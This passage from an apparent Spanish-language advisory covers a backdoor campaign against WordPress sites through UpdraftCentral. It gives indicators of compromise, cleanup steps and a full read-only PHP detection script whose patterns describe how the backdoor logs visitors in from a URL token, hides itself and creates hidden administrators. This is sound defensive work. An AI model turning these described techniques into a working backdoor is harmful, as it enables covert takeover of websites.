.35em;border-radius:4px;word-break:break-word\">056db22ebb8b1c0036a992ecf9c37c7f868b1eab68812445eed29062fc2307fa<\/code><\/li>\n<\/ul>\n<p>Aparte del plugin, solo deja una l\u00ednea en el registro de accesos, que encuentra el grep de \u00abQu\u00e9 hacer ahora mismo\u00bb. El script de comprobaci\u00f3n la detecta desde la versi\u00f3n 4.<\/p>\n<p>Otro administrador encontr\u00f3 una versi\u00f3n oculta, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-cache<\/code> (\u00abSite Health Cache\u00bb 1.0.0, sin descripci\u00f3n ni autor, disparador <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">38af88274bf8<\/code>, opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">sh_cache_ver<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd37eda3283416c568d53dd437f190341221138d8efabc7437e983b09946f9dd<\/code>). Un filtro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">all_plugins<\/code> la quita de la lista de plugins y un filtro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_update_option_recently_activated<\/code> de la lista de activados recientemente, as\u00ed que no la ver\u00e1 en el administrador aunque est\u00e9 activa. El script de comprobaci\u00f3n la encuentra en el disco. Otro administrador encontr\u00f3 la misma versi\u00f3n oculta con otro disparador (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">9c37ef099b7b<\/code>, SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2fc98e80960d196fa5b70ffa8c76ee5332c9d6c60465fe2e38ab2c597c357205<\/code>).<\/p>\n<h2 id=\"qu\u00e9-hacer-si-la-encuentra\">Qu\u00e9 hacer si la encuentra<\/h2>\n<ol type=\"1\">\n<li>Si a\u00fan no lo ha hecho, elimine la conexi\u00f3n con UpdraftCentral como se describe en \u00abQu\u00e9 hacer ahora mismo\u00bb. De lo contrario, el atacante puede enviar una versi\u00f3n corregida de la puerta trasera.<\/li>\n<li>Desactive el plugin y mu\u00e9valo fuera del directorio web. Si quiere conservarlo como prueba, no lo borre desde el administrador, porque <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> borra sus opciones.<\/li>\n<li>Borre las opciones de la puerta trasera (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_ver<\/code>) y la cuenta que haya creado.<\/li>\n<li>Revise los usuarios con el script de comprobaci\u00f3n de abajo. Si la puerta trasera lleg\u00f3 a funcionar, es decir, si existe su cuenta o el registro de accesos muestra una petici\u00f3n con su par\u00e1metro, considere la web totalmente comprometida. El atacante pudo subir m\u00e1s plugins o una webshell y modificar archivos o la base de datos. Restaure la web desde una copia anterior al 17 de octubre, compare los archivos con una instalaci\u00f3n limpia y revise todos los usuarios con capacidades extra.<\/li>\n<li>Cambie las contrase\u00f1as de los administradores y la de la cuenta de UpdraftCentral Cloud, cierre todas las sesiones abiertas y active la autenticaci\u00f3n en dos pasos. UpdraftPlus Premium puede guardar la contrase\u00f1a de la cuenta de teamupdraft.com en la base de datos tal como la introdujo (opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftplus-addons_options<\/code>). Si el atacante entr\u00f3 en el administrador o en la base de datos, considere esa contrase\u00f1a filtrada.<\/li>\n<li>Valore si de verdad necesita la gesti\u00f3n remota. Si es as\u00ed, cree la clave con una cuenta sin permiso para instalar plugins, salvo que lo necesite a distancia. En la web C fue justo esa casualidad la que detuvo el ataque.<\/li>\n<\/ol>\n<h2 id=\"script-de-comprobaci\u00f3n\">Script de comprobaci\u00f3n<\/h2>\n<p>El script comprueba cinco cosas: si la web est\u00e1 conectada a UpdraftCentral, qu\u00e9 ha recibido la web a trav\u00e9s de UpdraftCentral, si las carpetas <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">upgrade<\/code> contienen archivos de la puerta trasera, si sus opciones est\u00e1n en la base de datos y si existe su cuenta u otro usuario con permisos inesperados. La versi\u00f3n 3 reconoce adem\u00e1s la puerta trasera por su c\u00f3digo, as\u00ed que detecta tambi\u00e9n muestras renombradas de la variante funcional con otra descripci\u00f3n, revisa las opciones <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, lee los usuarios directamente de la base de datos y se\u00f1ala los administradores creados desde el 17 de octubre. La versi\u00f3n 4 detecta adem\u00e1s la tercera variante m\u00ednima por el token escrito directamente en su c\u00f3digo. La versi\u00f3n 5 se\u00f1ala como <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> tambi\u00e9n otros plugins que inician sesi\u00f3n seg\u00fan un par\u00e1metro de la URL. Nos lo sugiri\u00f3 un administrador que encontr\u00f3 en una web una puerta trasera m\u00e1s antigua, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">doctor-connectivity-query<\/code>, activa desde junio y sin relaci\u00f3n con esta campa\u00f1a. Se oculta de la lista de plugins y ejecuta c\u00f3digo arbitrario sin iniciar sesi\u00f3n. La versi\u00f3n 5 se\u00f1ala solo como <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> las cuentas en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> sin permisos de administrador creadas antes del 17 de octubre, como clientes de tiendas registrados por bots. La versi\u00f3n 6 encuentra tambi\u00e9n opciones sobrantes de la primera variante cuando el nombre del plugin no termina en tres caracteres hexadecimales, como <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query_shelf_sync_token<\/code>. La versi\u00f3n 7 avisa cuando no existe ning\u00fan registro de UpdraftCentral, por ejemplo tras eliminar UpdraftPlus, en lugar de darlo por limpio. La versi\u00f3n 8 avisa tambi\u00e9n de los plugins que se ocultan de la lista de plugins. La versi\u00f3n 9 avisa tambi\u00e9n de las claves de UpdraftPlus Migrator. La versi\u00f3n 10 avisa tambi\u00e9n de una contrase\u00f1a de la cuenta de teamupdraft.com guardada en la base de datos.<\/p>\n<p>En la web A, tras eliminar la puerta trasera, muestra:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Tambi\u00e9n puede descargar el script directamente:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 del script: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935<\/code>. El c\u00f3digo completo:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n * v3: catches its renamed samples by code and by &lt;slug&gt;_uid \/ &lt;slug&gt;_installed options, and checks wp-content\/upgrade.\n * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.\n * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without\n *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.\n * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).\n * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.\n * v8: warns about plugins that hide themselves from the WordPress plugin list.\n * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.\n * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n\tif ( &#39;ALERT&#39; === $level ) $alerts++;\n\tif ( &#39;WARN&#39; === $level ) $warnings++;\n\techo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n\tforeach ( $keys as $id =&gt; $key ) {\n\t\t$report( &#39;WARN&#39;, sprintf(\n\t\t\t&#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n\t\t\t$id,\n\t\t\tisset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n\t\t\tisset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n\t\t) );\n\t}\n} else {\n\t$report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\/\/ UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.\n$addons = get_option( &#39;updraftplus-addons_options&#39; );\nif ( ! is_array( $addons ) &amp;&amp; is_multisite() ) $addons = get_site_option( &#39;updraftplus-addons_options&#39; );\nif ( is_array( $addons ) &amp;&amp; ! empty( $addons[&#39;password&#39;] ) ) {\n\t$report( &#39;WARN&#39;, &#39;UpdraftPlus keeps the teamupdraft.com account password for &#39; . ( isset( $addons[&#39;email&#39;] ) ? $addons[&#39;email&#39;] : &#39;?&#39; ) . &#39; in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.&#39; );\n}\n\/\/ Migrator keys use the same UDRPC channel to receive backup files from another site.\n$migrator_keys = get_option( &#39;updraft_migrator_localkeys&#39; );\nforeach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash =&gt; $key ) {\n\t$report( &#39;WARN&#39;, sprintf(\n\t\t&#39;UpdraftPlus Migrator key &quot;%s&quot; is active: another site can send backup files here with it. Delete it unless you are migrating right now.&#39;,\n\t\tisset( $key[&#39;name&#39;] ) ? $key[&#39;name&#39;] : $hash\n\t) );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n\t$message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n\t$agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n\t$when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n\t$ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n\tif ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n\t\t$log_hits++;\n\t} elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t} elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t}\n}\nif ( ! is_array( $log ) || ! $log ) {\n\t$report( &#39;INFO&#39;, &#39;There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent &quot;WordPress\/6.4; class-udrpc.php&quot;.&#39; );\n} elseif ( ! $log_hits ) {\n\t$report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n}\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content\/upgrade\n\/\/ (a push that failed to install still leaves the unpacked plugin there).\n$is_backdoor = function ( $code ) {\n\treturn false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n\t\t|| false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n\t\t|| false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n\t\t|| ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n\t\t|| ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) )\n\t\t|| ( preg_match( &#39;\/hash_equals\\(\\s*[\\&#39;&quot;][A-Za-z0-9_-]{20,}[\\&#39;&quot;]\/&#39;, $code ) &amp;&amp; false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n};\n\/\/ Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).\n$logs_in_from_url = function ( $code ) {\n\treturn false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; );\n};\n\/\/ A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.\n$hides_itself = function ( $code ) {\n\treturn preg_match( &#39;\/add_filter\\(\\s*[\\&#39;&quot;]all_plugins[\\&#39;&quot;]\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/plugin_basename\\(\\s*__FILE__\\s*\\)\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/unset\\(\\s*\\$\\w+\\[\\s*\\$\\w+\\s*\\]\\s*\\)\/&#39;, $code );\n};\n$plugin_hits = 0;\n$files = array_merge(\n\t(array) glob( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39; ),\n\t(array) glob( WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*\/*.php&#39; )\n);\nforeach ( $files as $file ) {\n\t$code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n\t$where = 0 === strpos( $file, WP_CONTENT_DIR . &#39;\/upgrade\/&#39; ) ? &#39; (left in wp-content\/upgrade by a pushed plugin; the install may have failed)&#39; : &#39;&#39;;\n\tif ( $is_backdoor( $code ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file$where&quot; . ( $hides_itself( $code ) ? &#39; It hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $logs_in_from_url( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it.&quot; . ( $hides_itself( $code ) ? &#39; It also hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $hides_itself( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it.&quot; );\n\t\t$plugin_hits++;\n\t}\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$option_hits = 0;\n\/\/ First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name\n\/\/ without them counts only when its plugin is gone or is the backdoor itself.\nforeach ( $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$&#39;&quot; ) as $name ) {\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, preg_replace( &#39;\/_(sync_token|setup_stamp)$\/&#39;, &#39;&#39;, $name ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\tif ( is_file( $main ) &amp;&amp; ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;\n\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\t$option_hits++;\n}\n\/\/ The working variant stores &lt;slug&gt;_installed and the ID of its hidden administrator in &lt;slug&gt;_uid.\n\/\/ Plugin names vary, so match the suffix and look at the plugin with the same slug.\nforeach ( $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name LIKE &#39;%\\\\_uid&#39; OR option_name LIKE &#39;%\\\\_installed&#39;&quot; ) as $o ) {\n\t$is_uid = &#39;_uid&#39; === substr( $o-&gt;option_name, -4 );\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, substr( $o-&gt;option_name, 0, $is_uid ? -4 : -10 ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\t$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : &#39;&#39;;\n\t$u = ( $is_uid &amp;&amp; ctype_digit( (string) $o-&gt;option_value ) ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n\t$who = $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39;;\n\tif ( ( $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email ) ) || ( $code &amp;&amp; ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: {$o-&gt;option_name} = {$o-&gt;option_value}$who&quot; );\n\t\t$option_hits++;\n\t} elseif ( $is_uid &amp;&amp; $u &amp;&amp; ! is_dir( WP_PLUGIN_DIR . &quot;\/$slug&quot; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account.&quot; );\n\t\t$option_hits++;\n\t}\n}\nif ( ! $option_hits ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name IN (&#39;Site Tools&#39;, &#39;System Team&#39;, &#39;Web Tech&#39;, &#39;System Staff&#39;, &#39;System Ops&#39;, &#39;Cms Tech&#39;)&quot; ) as $user ) {\n\t\/\/ Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$admin_level = ! empty( $caps[&#39;administrator&#39;] ) || ! empty( $caps[&#39;manage_options&#39;] ) || ! empty( $caps[&#39;install_plugins&#39;] );\n\tif ( $admin_level || $user-&gt;user_registered &gt;= &#39;2026-10-17&#39; ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;, registered {$user-&gt;user_registered}&quot; . ( $admin_level ? &#39;, with admin-level rights&#39; : &#39;&#39; ) );\n\t} else {\n\t\t$report( &#39;WARN&#39;, &quot;Account {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot; matches the backdoor pattern but has no admin-level rights and was registered on {$user-&gt;user_registered}. Probably unrelated; make sure you know it.&quot; );\n\t}\n\t$flagged[ $user-&gt;ID ] = true;\n\t$user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n\t$user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n\tif ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n\t\t$user_hits++;\n\t}\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n\techo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n\techo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n\techo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"por-qu\u00e9-publicamos-de-inmediato\">Por qu\u00e9 publicamos de inmediato<\/h2>\n<p>La divulgaci\u00f3n responsable (responsible disclosure) consiste en dar al fabricante tiempo para corregir el problema y publicar los detalles despu\u00e9s. Aqu\u00ed, por desgracia, no hay motivo para ello. El atacante ya est\u00e1 difundiendo activamente puertas traseras en instalaciones de WordPress, y una correcci\u00f3n del fabricante no protege a los propietarios mientras el atacante tenga claves v\u00e1lidas. La \u00fanica protecci\u00f3n eficaz es eliminar la conexi\u00f3n con UpdraftCentral y revisar la web, y cualquier administrador puede hacerlo ahora mismo.<\/p>\n<p>Publicarlo no ayuda al atacante. Necesita claves v\u00e1lidas, que ya tiene, y nada en este art\u00edculo le da una nueva forma de atacar. A los defensores, en cambio, les da un procedimiento para protegerse. Adem\u00e1s, la puerta trasera sale de un generador que crea nombres, tokens y contrase\u00f1as distintos para cada web, lo que apunta a una herramienta pensada para un gran n\u00famero de webs. Cada hora de espera da al atacante tiempo para m\u00e1s webs.<\/p>\n<h2 id=\"comunicaci\u00f3n-con-el-fabricante-y-empresas-de-seguridad\">Comunicaci\u00f3n con el fabricante y empresas de 